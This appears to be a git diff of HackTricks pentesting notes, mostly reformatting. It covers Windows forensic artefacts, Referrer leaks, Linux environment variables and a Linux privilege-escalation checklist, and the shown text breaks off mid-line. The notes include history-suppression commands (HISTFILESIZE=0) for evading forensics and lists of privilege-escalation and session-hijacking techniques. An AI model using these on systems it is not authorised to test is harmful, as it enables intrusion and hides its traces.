+110,50 @@ Desktop Access: * `NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU` * `NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags` -To analyze the Shellbags you can use [**Shellbag Explorer**](https://ericzimmerman.github.io/#!index.md) **\*\*and you will be able to find the** MAC time of the folder **and also the** creation date and modified date of the shellbag **which are related with the** first time the folder was accessed and the last time\*\*. +To analyze the Shellbags you can use [**Shellbag Explorer**](https://ericzimmerman.github.io/#!index.md) **\*\*and you will be able to find the **MAC time of the folder** and also the **creation date and modified date of the shellbag** which are related with the **first time the folder was accessed and the last time\*\*. Note 2 things from the following image: 1. We know the **name of the folders of the USB** that was inserted in **E:** 2. We know when the **shellbag was created and modified** and when the folder was created an accessed -![](../../../.gitbook/assets/image%20%28475%29.png) +![](<../../../.gitbook/assets/image (475).png>) ## USB information ### Device Info -The registry `HKLM\SYSTEM\ControlSet001\Enum\USBSTOR` monitors each USB device that has been connected to the PC. +The registry `HKLM\SYSTEM\ControlSet001\Enum\USBSTOR` monitors each USB device that has been connected to the PC.\ Within this registry it's possible to find: * The manufacturer's name * The product name and version * The Device Class ID -* The volume name \(in the following images the volume name is the highlighted subkey\) +* The volume name (in the following images the volume name is the highlighted subkey) -![](../../../.gitbook/assets/image%20%28489%29.png) +![](<../../../.gitbook/assets/image (477).png>) -![](../../../.gitbook/assets/image%20%28479%29%20%281%29.png) +![](<../../../.gitbook/assets/image (479) (1) (1).png>) Moreover, checking the registry `HKLM\SYSTEM\ControlSet001\Enum\USB` and comparing the values of the sub-keys it's possible to find the VID value -![](../../../.gitbook/assets/image%20%28476%29.png) +![](<../../../.gitbook/assets/image (478).png>) With the previous information the registry `SOFTWARE\Microsoft\Windows Portable Devices\Devices` can be used to obtain the **`{GUID}`**: -![](../../../.gitbook/assets/image%20%28486%29.png) +![](<../../../.gitbook/assets/image (480).png>) ### User that used the device -Having the **{GUID}** of the device it's now possible to **check all the NTUDER.DAT hives of all the users** searching for the GUID until you find it in one of them \(`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Mountpoints2`\) +Having the **{GUID}** of the device it's now possible to **check all the NTUDER.DAT hives of all the users** searching for the GUID until you find it in one of them (`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Mountpoints2`) -![](../../../.gitbook/assets/image%20%28485%29.png) +![](<../../../.gitbook/assets/image (481).png>) ### Last mounted -Checking the registry `System\MoutedDevices` it's possible to find out **which device was the last one mounted**. In the following image check how the last device mounted in `E:` is the Thoshiba one \(using the tool Registry Explorer\). +Checking the registry `System\MoutedDevices` it's possible to find out **which device was the last one mounted**. In the following image check how the last device mounted in `E:` is the Thoshiba one (using the tool Registry Explorer). -![](../../../.gitbook/assets/image%20%28483%29%20%281%29.png) +![](<../../../.gitbook/assets/image (483) (1).png>) ### Volume Serial Number @@ -173,5 +173,4 @@ In `System\ControlSet001\Enum\USBSTOR{VEN_PROD_VERSION}{USB serial}\Properties{8 * 0066 -- Last connection * 0067 -- Disconnection -![](../../../.gitbook/assets/image%20%28488%29.png) - +![](<../../../.gitbook/assets/image (482).png>) diff --git a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index 16532029..b8a3bbdd 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -2,48 +2,48 @@ ### smss.exe -It's called **Session Manager**. -Session 0 starts **csrss.exe** and **wininit.exe** \(**OS** **services**\) while Session 1 starts **csrss.exe** and **winlogon.exe** \(**User** **session**\). However, you should see **only one process** of that **binary** without children in the processes tree. +It's called **Session Manager**.\ +Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree.\ Also, more sessions apart from 0 and 1 may mean that RDP sessions are occurring. ### csrss.exe -Is the **Client/Server Run Subsystem Process**. -It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps** **drive** **letters**, create **temp** **files** and handles the **shutdown** **process**. -There is one **running in Session 0 and another one in Session 1** \(so **2 processes** in the processes tree\). +Is the **Client/Server Run Subsystem Process**.\ +It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps** **drive** **letters**, create **temp** **files** and handles the **shutdown** **process**.\ +There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree).\ Another one is created **per new Session**. ### winlogon.exe -This is Windows Logon Process. -It's responsible for user **logon**/**logoffs**. -It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them. -Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**. +This is Windows Logon Process.\ +It's responsible for user **logon**/**logoffs**.\ +It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them.\ +Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**.\ Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**. ### wininit.exe -This is the **Windows Initialization Process**. It launches **services.exe**, **lsass.exe** and **lsm.exe** in Session 0. +This is the **Windows Initialization Process**. It launches **services.exe**, **lsass.exe** and **lsm.exe** in Session 0.\ There should only be 1 process. ### userinit.exe -Load the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**. +Load the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**.\ It launches **explorer.exe**. ### lsm.exe -This is the **Local Session Manager**. -It works with smss.exe to manipulate use sessions: Logon/logoff, shell start, lock/unlock desktop... -After W7 lsm.exe was transformed into a service \(lsm.dll\). +This is the **Local Session Manager**.\ +It works with smss.exe to manipulate use sessions: Logon/logoff, shell start, lock/unlock desktop...\ +After W7 lsm.exe was transformed into a service (lsm.dll).\ There should only be 1 process in W7 and from them a service running the DLL. ### services.exe -This is the **Service Control Manager**. +This is the **Service Control Manager**.\ It **loads** **services** configured as **auto-start** and **drivers**. -It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more. +It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more.\ Note that services are defined in `HKLM\SYSTEM\CurrentControlSet\Services` and this process maintains a DB in memory of service info that can be queried by sc.exe. Note how **some** **services** are going to be running in a **process of their own** and others are going to be **sharing a svchost.exe process**. @@ -52,17 +52,17 @@ There should only be 1 process. ### lsass.exe -This the **Local Security Authority Subsystem**. -It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`. -It writes to the **Security** **event** **log**. -There should only be 1 process. +This the **Local Security Authority Subsystem**.\ +It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`.\ +It writes to the **Security** **event** **log**.\ +There should only be 1 process.\ Keep in mind that this process is highly attacked to dump passwords. ### svchost.exe -This is the **Generic Service Host Process**. -It hosts multiple DLL services in one shared process. -Usually you will find that **svchost.exe** is launched with `-k` flag. This will launch a query to the registry **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. +This is the **Generic Service Host Process**.\ +It hosts multiple DLL services in one shared process.\ +Usually you will find that **svchost.exe** is launched with `-k` flag. This will launch a query to the registry **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost **where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` @@ -72,22 +72,21 @@ There will be several process of `svchost.exe`. If any of them is **not using th ### taskhost.exe -This process act as host for processes run from DLLs. It loads the services that are run from DLLs. +This process act as host for processes run from DLLs. It loads the services that are run from DLLs.\ In W8 is called taskhostex.exe and in W10 taskhostw.exe. ### explorer.exe -This is the process responsible for the **user's desktop** and launching files via file extensions. -**Only 1** process should be spawned **per logged on user.** -This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process. +This is the process responsible for the **user's desktop** and launching files via file extensions.\ +**Only 1** process should be spawned **per logged on user.**\ +This is run from **userinit.exe** which should be terminated, so **no parent **should appear for this process. ## Catching Malicious Processes -* Is it running from the expected path? \(No Windows binaries run from temp location\) +* Is it running from the expected path? (No Windows binaries run from temp location) * Is it communicating with weird IPs? -* Check digital signatures \(Microsoft artefacts should be signed\) +* Check digital signatures (Microsoft artefacts should be signed) * Is it spelled correctly? * Is running under the expected SID? -* Is the parent process the expected one \(if any\)? -* Are the children processes the expecting ones? \(no cmd.exe, wscript.exe, powershell.exe..?\) - +* Is the parent process the expected one (if any)? +* Are the children processes the expecting ones? (no cmd.exe, wscript.exe, powershell.exe..?) diff --git a/interesting-http.md b/interesting-http.md index fd058e89..f1ac97d4 100644 --- a/interesting-http.md +++ b/interesting-http.md @@ -6,13 +6,13 @@ Referrer is the header used by browsers to indicate which was the previous page ### Sensitive information leaked -If at some point inside a web page any sensitive information is located on a GET request parameters, if the page contains links to external sources or an attacker is able to make/suggest \(social engineering\) the user visit a URL controlled by the attacker. It could be able to exfiltrate the sensitive information inside the latest GET request. +If at some point inside a web page any sensitive information is located on a GET request parameters, if the page contains links to external sources or an attacker is able to make/suggest (social engineering) the user visit a URL controlled by the attacker. It could be able to exfiltrate the sensitive information inside the latest GET request. ### Mitigation -You can make the browser follow a **Referrer-policy** that could **avoid** the sensitive information to be sent to other web applications: +You can make the browser follow a **Referrer-policy** that could **avoid **the sensitive information to be sent to other web applications: -```text +``` Referrer-Policy: no-referrer Referrer-Policy: no-referrer-when-downgrade Referrer-Policy: origin @@ -25,7 +25,7 @@ Referrer-Policy: unsafe-url ### Counter-Mitigation -You can override this rule using an HTML meta tag \(the attacker needs to exploit and HTML injection\): +You can override this rule using an HTML meta tag (the attacker needs to exploit and HTML injection): ```markup @@ -35,4 +35,3 @@ You can override this rule using an HTML meta tag \(the attacker needs to exploi ### Defense Never put any sensitive data inside GET parameters or paths in the URL. - diff --git a/linux-unix/linux-environment-variables.md b/linux-unix/linux-environment-variables.md index c054e2d5..1eaf7b7b 100644 --- a/linux-unix/linux-environment-variables.md +++ b/linux-unix/linux-environment-variables.md @@ -2,7 +2,7 @@ ## Global variables -The **global variables** will be **inherited** by **child processes**. +The **global variables **will be** inherited **by **child processes**. You can create a Global variable for your current session doing: @@ -43,24 +43,24 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ #### **Files that affect behavior of every user:** -* _**/etc/bash.bashrc**_ ****: This file is read whenever an interactive shell is started \(normal terminal\) and all the commands specified in here are executed. +* _**/etc/bash.bashrc**_** **: This file is read whenever an interactive shell is started (normal terminal) and all the commands specified in here are executed. * _**/etc/profile and /etc/profile.d/\***_**:** This file is read every time a user logs in. Thus all the commands executed in here will execute only once at the time of user logging in. - * **Example:** + * **Example: ** - `/etc/profile.d/somescript.sh` + `/etc/profile.d/somescript.sh` - ```bash - #!/bin/bash - TEST=$(cat /var/somefile) - export $TEST - ``` + ```bash + #!/bin/bash + TEST=$(cat /var/somefile) + export $TEST + ``` #### **Files that affect behavior for only a specific user:** -* _**~/.bashrc**_ **:** This file behaves the same way _/etc/bash.bashrc_ file works but it is executed only for a specific user. If you want to create an environment for yourself go ahead and modify or create this file in your home directory. -* _**~/.profile, ~/.bash\_profile, ~/.bash\_login**_**:** These files are same as _/etc/profile_. The difference comes in the way it is executed. This file is executed only when a user in whose home directory this file exists, logs in. +* _**\~/.bashrc**_** :** This file behaves the same way _/etc/bash.bashrc_ file works but it is executed only for a specific user. If you want to create an environment for yourself go ahead and modify or create this file in your home directory. +* _**\~/.profile, \~/.bash_profile, \~/.bash_login**_**:** These files are same as _/etc/profile_. The difference comes in the way it is executed. This file is executed only when a user in whose home directory this file exists, logs in. -**Extracted from:** [**here**](https://codeburst.io/linux-environment-variables-53cea0245dc9) **and** [**here**](https://www.gnu.org/software/bash/manual/html_node/Bash-Startup-Files.html)\*\*\*\* +**Extracted from: **[**here**](https://codeburst.io/linux-environment-variables-53cea0245dc9)** and **[**here**](https://www.gnu.org/software/bash/manual/html_node/Bash-Startup-Files.html)**** ## Common variables @@ -69,7 +69,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https:// * **DISPLAY** – the display used by **X**. This variable is usually set to **:0.0**, which means the first display on the current computer. * **EDITOR** – the user’s preferred text editor. * **HISTFILESIZE** – the maximum number of lines contained in the history file. -* **HISTSIZE -** Number of lines added to the history file when the user finish his session +* **HISTSIZE - **Number of lines added to the history file when the user finish his session * **HOME** – your home directory. * **HOSTNAME** – the hostname of the computer. * **LANG** – your current language. @@ -77,10 +77,10 @@ From: [https://geek-university.com/linux/common-environment-variables/](https:// * **MANPATH** – the list of directories to search for manual pages. * **OSTYPE** – the type of operating system. * **PS1** – the default prompt in bash. -* **PATH -** stores the path of all the directories which holds binary files you want to execute just by specifying the name of the file and not by relative or absolute path. +* **PATH - **stores the path of all the directories which holds binary files you want to execute just by specifying the name of the file and not by relative or absolute path. * **PWD** – the current working directory. -* **SHELL** – the path to the current command shell \(for example, **/bin/bash**\). -* **TERM** – the current terminal type \(for example, **xterm**\). +* **SHELL** – the path to the current command shell (for example, **/bin/bash**). +* **TERM** – the current terminal type (for example, **xterm**). * **TZ** – your time zone. * **USER** – your current username. @@ -88,7 +88,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https:// ### **HISTFILESIZE** -Change the **value of this variable to 0**, so when you **end your session** the **history file** \(~/.bash\_history\) **will be deleted**. +Change the **value of this variable to 0**, so when you **end your session** the **history file** (\~/.bash_history) **will be deleted**. ```bash export HISTFILESIZE=0 @@ -96,13 +96,13 @@ export HISTFILESIZE=0 ### **HISTSIZE** -Change the **value of this variable to 0**, so when you **end your session** any command will be added to the **history file** \(~/.bash\_history\). +Change the **value of this variable to 0**, so when you **end your session** any command will be added to the **history file** (\~/.bash_history). ```bash export HISTSIZE=0 ``` -### http\_proxy +### http_proxy The processes will use the **proxy** declared here to connect to internet through **http**. @@ -110,7 +110,7 @@ The processes will use the **proxy** declared here to connect to internet throug export http_proxy="http://10.10.10.10:8080" ``` -### https\_proxy +### https_proxy The processes will use the **proxy** declared here to connect to internet through **https**. @@ -122,21 +122,20 @@ export https_proxy="http://10.10.10.10:8080" Change how your prompt looks. -**I have created** [**this one**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) \(based on another, read the code\). +**I have created **[**this one**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) (based on another, read the code). Root: -![](../.gitbook/assets/image%20%28177%29.png) +![](<../.gitbook/assets/image (87).png>) Regular user: -![](../.gitbook/assets/image%20%28239%29.png) +![](<../.gitbook/assets/image (88).png>) One, two and three backgrounded jobs: -![](../.gitbook/assets/image%20%28276%29.png) +![](<../.gitbook/assets/image (89).png>) One background job, one stopped and last command dind't finish correctly: -![](../.gitbook/assets/image%20%2874%29.png) - +![](<../.gitbook/assets/image (90).png>) diff --git a/linux-unix/linux-privilege-escalation-checklist.md b/linux-unix/linux-privilege-escalation-checklist.md index 280662e9..4e7dc087 100644 --- a/linux-unix/linux-privilege-escalation-checklist.md +++ b/linux-unix/linux-privilege-escalation-checklist.md @@ -5,52 +5,52 @@ description: Checklist for privilege escalation in Linux # Checklist - Linux Privilege Escalation {% hint style="danger" %} -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? -[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ +[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop)** so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** -If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks **or** PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to** give ⭐** on **github** to **motivate** **me** to continue developing this book. -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)\*\*\*\* +### **Best tool to look for Linux local privilege escalation vectors: **[**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)**** ### [System Information](privilege-escalation/#system-information) -* [ ] Get **OS information** +* [ ] Get** OS information** * [ ] Check the [**PATH**](privilege-escalation/#path), any **writable folder**? * [ ] Check [**env variables**](privilege-escalation/#env-info), any sensitive detail? -* [ ] Search for [**kernel exploits**](privilege-escalation/#kernel-exploits) **using scripts** \(DirtyCow?\) -* [ ] **Check** if the [**sudo version** is vulnerable](privilege-escalation/#sudo-version) -* [ ] \*\*\*\*[**Dmesg** signature verification failed](privilege-escalation/#dmesg-signature-verification-failed) error? -* [ ] More system enum \([date, system stats, cpu info, printers](privilege-escalation/#more-system-enumeration)\) +* [ ] Search for [**kernel exploits**](privilege-escalation/#kernel-exploits)** using scripts **(DirtyCow?) +* [ ] **Check **if the [**sudo version **is vulnerable](privilege-escalation/#sudo-version) +* [ ] ****[**Dmesg** signature verification failed](privilege-escalation/#dmesg-signature-verification-failed) error? +* [ ] More system enum ([date, system stats, cpu info, printers](privilege-escalation/#more-system-enumeration)) * [ ] [Enumerate more defenses](privilege-escalation/#enumerate-possible-defenses) ### [Drives](privilege-escalation/#drives) -* [ ] **List mounted** drives +* [ ] **List mounted **drives * [ ] **Any unmounted drive?** * [ ] **Any creds in fstab?** -### \*\*\*\*[**Installed Software**](privilege-escalation/#installed-software)\*\*\*\* +### ****[**Installed Software**](privilege-escalation/#installed-software)**** -1. [ ] **Check for**[ **useful software**](privilege-escalation/#useful-software) **installed** -2. [ ] **Check for** [**vulnerable software**](privilege-escalation/#vulnerable-software-installed) **installed** +* [ ] **Check for**[** useful software**](privilege-escalation/#useful-software)** installed** +* [ ] **Check for **[**vulnerable software**](privilege-escalation/#vulnerable-software-installed)** installed** -### \*\*\*\*[Processes](privilege-escalation/#processes) +### ****[Processes](privilege-escalation/#processes) * [ ] Is any **unknown software running**? * [ ] Is any software with **more privileges that it should have running**? -* [ ] Search for **exploits for running processes** \(specially if running of versions\) +* [ ] Search for** exploits for running processes** (specially if running of versions) * [ ] Can you **modify the binary** of any running process? * [ ] **Monitor processes** and check if any interesting process is running frequently -* [ ] Can you **read** some interesting **process memory** \(where passwords could be saved\)? +* [ ] Can you **read **some interesting **process memory **(where passwords could be saved)? ### [Scheduled/Cron jobs?](privilege-escalation/#scheduled-jobs) -* [ ] Is the [**PATH** ](privilege-escalation/#cron-path)being modified by some cron and you can **write** in it? -* [ ] Any [**wildcard** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)in a cron job? -* [ ] Some [**modifiable script** ](privilege-escalation/#cron-script-overwriting-and-symlink)is being **executed** or is inside **modifiable folder**? -* [ ] Have you detected that some **script** could be being [**executed** very **frequently**](privilege-escalation/#frequent-cron-jobs)? \(every 1, 2 or 5 minutes\) +* [ ] Is the [**PATH **](privilege-escalation/#cron-path)being modified by some cron and you can **write **in it? +* [ ] Any [**wildcard **](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)in a cron job? +* [ ] Some [**modifiable script** ](privilege-escalation/#cron-script-overwriting-and-symlink)is being **executed **or is inside **modifiable folder**? +* [ ] Have you detected that some **script **could be being [**executed **very **frequently**](privilege-escalation/#frequent-cron-jobs)? (every 1, 2 or 5 minutes) ### [Services](privilege-escalation/#services) @@ -64,7 +64,7 @@ If you want to **share some tricks with the community** you can also submit **pu ### [Sockets](privilege-escalation/#sockets) -* [ ] Any **writable .socket** file? +* [ ] Any** writable .socket **file? * [ ] Can you **communicate with any socket**? * [ ] **HTTP sockets** with interesting info? @@ -83,27 +83,27 @@ If you want to **share some tricks with the community** you can also submit **pu * [ ] Generic users/groups **enumeration** * [ ] Do you have a **very big UID**? Is the **machine** **vulnerable**? * [ ] Can you [**escalate privileges thanks to a group**](privilege-escalation/interesting-groups-linux-pe/) you belong to? -* [ ] **Clipboard** data? +* [ ] **Clipboard **data? * [ ] Password Policy? -* [ ] Try to **use** every **known password** that you have discovered previously to login **with each** possible **user**. Try to login also without password. +* [ ] Try to **use **every **known password **that you have discovered previously to login **with each **possible **user**. Try to login also without password. ### [Writable PATH](privilege-escalation/#writable-path-abuses) -* [ ] If you have **write privileges over some folder in PATH** you may be able to escalate privileges +* [ ] If you have** write privileges over some folder in PATH** you may be able to escalate privileges ### [SUDO and SUID commands](privilege-escalation/#sudo-and-suid) -* [ ] Can you execute **any comand with sudo**? Can you use it to READ, WRITE or EXECUTE anything as root? \([**GTFOBins**](https://gtfobins.github.io/)\) -* [ ] Is any **exploitable suid binary**? \([**GTFOBins**](https://gtfobins.github.io/)\) -* [ ] Are [**sudo** commands **limited** by **path**? can you **bypass** the restrictions](privilege-escalation/#sudo-execution-bypassing-paths)? -* [ ] \*\*\*\*[**Sudo/SUID binary without path indicated**](privilege-escalation/#sudo-command-suid-binary-without-command-path)? -* [ ] \*\*\*\*[**SUID binary specifying path**](privilege-escalation/#suid-binary-with-command-path)? Bypass -* [ ] \*\*\*\*[**LD\_PRELOAD vuln**](privilege-escalation/#ld_preload)\*\*\*\* -* [ ] \*\*\*\*[**Lack of .so library in SUID binary**](privilege-escalation/#suid-binary-so-injection) ****from a writable folder? -* [ ] \*\*\*\*[**SUDO tokens available**](privilege-escalation/#reusing-sudo-tokens)? [**Can you create a SUDO token**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)? +* [ ] Can you execute **any comand with sudo**? Can you use it to READ, WRITE or EXECUTE anything as root? ([**GTFOBins**](https://gtfobins.github.io)) +* [ ] Is any **exploitable suid binary**? ([**GTFOBins**](https://gtfobins.github.io)) +* [ ] Are [**sudo **commands **limited **by **path**? can you **bypass **the restrictions](privilege-escalation/#sudo-execution-bypassing-paths)? +* [ ] ****[**Sudo/SUID binary without path indicated**](privilege-escalation/#sudo-command-suid-binary-without-command-path)? +* [ ] ****[**SUID binary specifying path**](privilege-escalation/#suid-binary-with-command-path)? Bypass +* [ ] ****[**LD_PRELOAD vuln**](privilege-escalation/#ld_preload)**** +* [ ] ****[**Lack of .so library in SUID binary**](privilege-escalation/#suid-binary-so-injection)** **from a writable folder? +* [ ] ****[**SUDO tokens available**](privilege-escalation/#reusing-sudo-tokens)? [**Can you create a SUDO token**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)? * [ ] Can you [**read or modify sudoers files**](privilege-escalation/#etc-sudoers-etc-sudoers-d)? * [ ] Can you [**modify /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)? -* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) ****command +* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas)** **command ### [Capabilities](privilege-escalation/#capabilities) @@ -120,41 +120,40 @@ If you want to **share some tricks with the community** you can also submit **pu ### [SSH](privilege-escalation/#ssh) -* [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)\*\*\*\* -* [ ] \*\*\*\*[**SSH Interesting configuration values**](privilege-escalation/#ssh-interesting-configuration-values)\*\*\*\* +* [ ] **Debian **[**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)**** +* [ ] ****[**SSH Interesting configuration values**](privilege-escalation/#ssh-interesting-configuration-values)**** ### [Interesting Files](privilege-escalation/#interesting-files) * [ ] **Profile files** - Read sensitive data? Write to privesc? * [ ] **passwd/shadow files** - Read sensitive data? Write to privesc? * [ ] **Check commonly interesting folders** for sensitive data -* [ ] **Weird Localtion/Owned files,** you may have access or alter executable files -* [ ] **Modified** in last mins +* [ ] **Weird Localtion/Owned files, **you may have access or alter executable files +* [ ] **Modified **in last mins * [ ] **Sqlite DB files** * [ ] **Hidden files** * [ ] **Script/Binaries in PATH** -* [ ] **Web files** \(passwords?\) +* [ ] **Web files **(passwords?) * [ ] **Backups**? -* [ ] **Known files that contains passwords**: Use **Linpeas** and **LaZagne** +* [ ] **Known files that contains passwords**: Use **Linpeas **and **LaZagne** * [ ] **Generic search** -### \*\*\*\*[**Writable Files**](privilege-escalation/#writable-files)\*\*\*\* +### ****[**Writable Files**](privilege-escalation/#writable-files)**** * [ ] **Modify python library** to execute arbitrary commands? -* [ ] Can you **modify log files**? **Logtotten** exploit +* [ ] Can you **modify log files**? **Logtotten **exploit * [ ] Can you **modify /etc/sysconfig/network-scripts/**? Centos/Redhat exploit * [ ] Can you [**write in ini, int.d, systemd or rc.d files**](privilege-escalation/#init-init-d-systemd-and-rc-d)? -### \*\*\*\*[**Other tricks**](privilege-escalation/#other-tricks)\*\*\*\* +### ****[**Other tricks**](privilege-escalation/#other-tricks)**** * [ ] Can you [**abuse NFS to escalate privileges**](privilege-escalation/#nfs-privilege-escalation)? * [ ] Do you need to [**escape from a restrictive shell**](privilege-escalation/#escaping-from-restricted-shells)? -If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, ****join the [💬](https://emojipedia.org/speech-balloon/) ****[**PEASS & HackTricks telegram group here**](https://t.me/peass), or **follow me on Twitter** [🐦](https://emojipedia.org/bird/)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** -If you want to **share some tricks with the community** you can also submit **pull requests** to ****[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) ****that will be reflected in this book. +If you want to **know **about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**,** **join the [💬](https://emojipedia.org/speech-balloon/)** **[**PEASS & HackTricks telegram group here**](https://t.me/peass), or** follow me on Twitter **[🐦](https://emojipedia.org/bird/)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +****If you want to** share some tricks with the community **you can also submit **pull requests **to** **[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks)** **that will be reflected in this book.\ Don't forget to **give ⭐ on the github** to motivate me to continue developing this book. -![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%284%29%20%286%29.png) - -​[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\* +![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (3).png>) +​[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)**** diff --git a/linux-unix/privilege-escalation/README.md b/linux-unix/privilege-escalation/README.md index f1545fb8..1aa21652 100644 --- a/linux-unix/privilege-escalation/README.md +++ b/linux-unix/privilege-escalation/README.md @@ -164,8 +164,8 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null If you are inside a docker container you can try to escape from it: -{% content-ref url="docker-breakout.md" %} -[docker-breakout.md](docker-breakout.md) +{% content-ref url="docker-breakout/" %} +[docker-breakout](docker-breakout/) {% endcontent-ref %} ## Drives @@ -1122,7 +1122,7 @@ In **newest versions** you will be able to **connect** to screen sessions only o screen -ls ``` -![](<../../.gitbook/assets/image (327).png>) +![](<../../.gitbook/assets/image (130).png>) **Attach to a session** @@ -1143,7 +1143,7 @@ ps aux | grep tmux #Search for tmux consoles not using default folder for socket tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess ``` -![](<../../.gitbook/assets/image (126).png>) +![](<../../.gitbook/assets/image (131).png>) **Attach to a session** diff --git a/linux-unix/privilege-escalation/cisco-vmanage.md b/linux-unix/privilege-escalation/cisco-vmanage.md index f586532f..0d44e398 100644 --- a/linux-unix/privilege-escalation/cisco-vmanage.md +++ b/linux-unix/privilege-escalation/cisco-vmanage.md @@ -2,11 +2,11 @@ ## Path 1 -\(Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)\) +(Example from 